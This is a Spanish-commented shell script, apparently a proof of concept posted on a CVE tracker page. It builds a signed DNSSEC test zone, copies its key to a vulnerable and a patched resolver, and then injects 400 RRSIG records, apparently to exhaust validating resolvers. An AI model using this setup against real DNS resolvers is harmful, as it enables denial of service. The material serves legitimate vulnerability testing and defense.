5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / generar.sh SH
set -e

cd auth  
dnssec-keygen -a ECDSAP384SHA384 -f KSK -n ZONE a.test 1>/dev/null 0>/dev/null
mv K*.key ksk.key
mv K*.private ksk.private
echo "Generada ksk.key"

dnssec-keygen -a ECDSAP384SHA384 -n ZONE a.test 1>/dev/null 0>/dev/null
mv K*.key zsk.key
mv K*.private zsk.private
echo "Generada zsk.key"

python3 añadir_claves.py 1>/dev/null 0>/dev/null
echo "Introducidas claves en a.test.zone"

# python3 ../rrsig.py 40 "DNSKEY">> a.test.zone
# echo "Añadidos DNSKEYs a a.test.zone"


dnssec-signzone -o a.test -k ksk.key a.test.zone zsk.key 1>/dev/null 0>/dev/null
echo "Generada a.test.zone.signed"

cd ../resolver 
cp ../auth/ksk.key a.test.key
echo "Copiada ksk.key a resolver"

cd ../resolver-fixed
cp ../auth/ksk.key a.test.key
echo "Copiada ksk.key a resolver-fixed"

cd ../auth
python3 rrsig.py 400 "RRSIG"
echo "Añadidos RRSIG a a.test.zone.signed"